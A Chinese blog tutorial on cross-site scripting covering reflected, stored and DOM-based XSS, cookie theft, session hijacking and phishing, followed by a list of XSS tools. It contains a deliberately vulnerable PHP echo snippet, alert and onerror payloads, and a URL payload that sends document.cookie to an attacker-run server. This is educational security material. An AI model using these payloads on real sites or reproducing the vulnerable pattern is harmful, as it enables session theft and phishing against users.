zoukankan      html  css  js  c++  java
  • 关于XSS攻击

    XSS分类

    反射型(非持久型)

    简介

    反射型XSS,也称非持久型XSS,最常见也是使用最广的一种。在反射型XSS中,payload一般存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。攻击者发送恶意Url链接让受害者点击(一般会对payload部分进行处理,如:编码转换和短域名跳转)

    例子

    xss.php

    <?php
    highlight_file("xss.php");
    $xss = $_GET['xss'];
    echo $xss;

    传入

    ?xss=<script>alert('hack')</script>

    成功弹窗,这是最简单的xss

    盗取cookie

    还是上面那段代码

    1.在自己的服务器上搭建一个接收cookie的接口为

    http://www.cookie.com/receive?cookie=xxx;

    2.我们通过各种手段诱惑用户点击了

    http://121.40.126.133/xss.php?xss=<script>location.href='cookie.com/receive'+document.cookie;</script>

    3.用户点击了该链接首先访问121.40.126.133/xss.php接口,因为该链接被注入了恶意js脚本所以访问了黑客的服务器并把当前的cookie发送过去了,拿到cookie后就可以伪造身份登录了。

    存储型

    存储型XSS,也称持久型XSS,攻击者首先将恶意javascript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意javascript页面就会执行恶意代码,不需要用户点击特定Url就能执行,故存储型XSS比反射型XSS更具威胁性。— 《XSS跨站脚本攻击剖析与防御》
           存储型XSS与反射型XSS最大的区别就在于提交的XSS代码会储存于服务端,下次再访问目标页面时不用再提交XSS代码

    DOM型

    实际上,这种类型的xss并非按照“数据是否保存在服务器端”来划分,DOM型xss从效果上说也是反射性xss,单独划分出来,是因为它的形成原因比较特殊,由于历史原因,也就把它单独作为一个分类。

    通过修改页面的DOM节点形成的xss,称为DOM型xss

    看如下代码(出自《白帽子讲web安全》)

    <html>
    <script>
    
    function test(){
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href = '"+str+"' >teslink</a>";
    }
    </script>
    <div id="t"></div>
    <input type="text" id="text" value="" />
    <input type="button" id="s" value="write" onclick="test()" />
    
    </html>

     点击write按钮后,会在当前页面插入一条超链接,其地址为文本框的内容

     在这里,write按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,这就造成了DOM型xss,

    构造如下数据:

    ' onclick=alert(/xss/) //

    输入后,页面代码就变成了:

    <a herf='' onclick=alert(/xss/) //' >testLink</a>

    首先用一个单引号闭合掉herf的第一个单引号,然后插入一个哦onclick事件,最后再用注释符//注释掉第二个单引号。

    点击这个新生成的链接,脚本将被执行:

    实际上,这里还有另外一种利用方式——除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个html标签,尝试以下输入:

    '><img src=# onerror=alert(/xss2/) /><'

    页面代码变成了:

    <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

    脚本被执行

    XSS的利用方式 

    cookie窃取

    cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。

           这里我们引入一个叫做“同源策略”的概念

    我们知道Cookie有如下常见的属性:

    • Domain————设置关联Cookie的域名;
    • Expires————通过给定一个过期时间来创建一个持久化Cookie;
    • Httponly————用于避免Cookie被Javascript访问;
    • Name————Cookie的名称;
    • Path————关联到Cookie的路径,默认为/;
    • Value————读写Cookie的值;
    • Secure————用于指定Cookie需要通过安全Socket层传递连接;

    并且Cookie也可以安装类型分为:

    • 本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
    • 内存Cookie————即储存在内存中,随浏览器的关闭而消失;

    如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。

    由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况

    • 默认
    • 不同域
    • 不同路径
    • http only
    • secure
    • P3P
    • B域设置A域Cookie
    • 加载B域时Cookie传入问题

    参考->这里<-

    会话劫持

           由于Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。

    Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭之后,Session也就“消失”了。
    在Session机制中,客户端和服务端也有被其他人利用的可能。
    Session和Cookie最大的区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面

    这里提到Session是因为我们在现实情况中可能会出现已经获取到了Cookie,但是由于用户已经退出了浏览器指示Session无效,导致我们无法通过Cookie欺骗来获取用户权限;又比如有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时我们便可以利用会话劫持来达到目的。
           会话劫持的实质就是模拟GET/POST请求(带Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。

    通过JavaScript控制DOM对象来发起一个get/post请求,如:

    var img = document.createElement("img");
    img.src = "http://xxx";
    document.body.appendChild(img);

    钓鱼

    xss重定向

    http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>

    HTML注入式钓鱼

    通过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。

    Iframe

    攻击者通过javascript来添加一个新的<Iframe>标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。

    绕过姿势

    绕过方式太**多了,不想写了。。

    放两个链接:

    http://cheatsheets.hackdig.com/?4.htm

    https://www.freebuf.com/articles/web/153055.html

    工具

    https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精华
    https://github.com/rajeshmajumdar/BruteXSS BruteXSS
    https://github.com/beefproject/beef Beef神器
    https://github.com/1N3/XSSTracer 用于检查跨站点跟踪的小型python脚本
    https://github.com/0x584A/fuzzXssPHP 一个非常简单的反射XSS扫描仪支持GET/POST
    https://github.com/chuhades/xss_scan 反射xss扫描器
    https://github.com/BlackHole1/autoFindXssAndCsrf 浏览器的插件,它自动检查页面是否具有xss和漏洞
    https://github.com/shogunlab/shuriken xss命令行工具用于测试web应用程序中xss负载列表
    https://github.com/UltimateHackers/XSStrike 用于XSS、WAF检测和旁路的模糊和蛮力参数
    https://github.com/stamparm/DSXS 一个完全功能的跨站点脚本漏洞扫描器,支持获取和发布参数,并写入100行代码

  • 相关阅读:
    初始样式
    http://necolas.github.io/normalize.css/
    css3 旋转密码特效
    OpenGL_构建GLFW与第一个程序
    [翻译][HTML]CELLPADDING and CELLSPACING
    Internal Server Error
    字体收集
    Create a site by Google Site
    [转载]HTML5游戏前端开发秘籍
    程序结构(1)
  • 原文地址:https://www.cnblogs.com/Silkage/p/13275687.html
Copyright © 2011-2022 走看看